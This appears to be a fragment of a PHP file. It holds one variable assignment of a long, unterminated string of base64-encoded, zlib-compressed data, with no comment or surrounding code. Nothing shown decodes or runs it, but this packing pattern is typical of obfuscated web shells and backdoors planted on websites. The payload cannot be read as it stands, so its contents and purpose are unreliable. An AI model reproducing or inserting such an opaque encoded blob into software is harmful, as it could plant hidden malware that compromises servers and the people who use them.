$bhrt = "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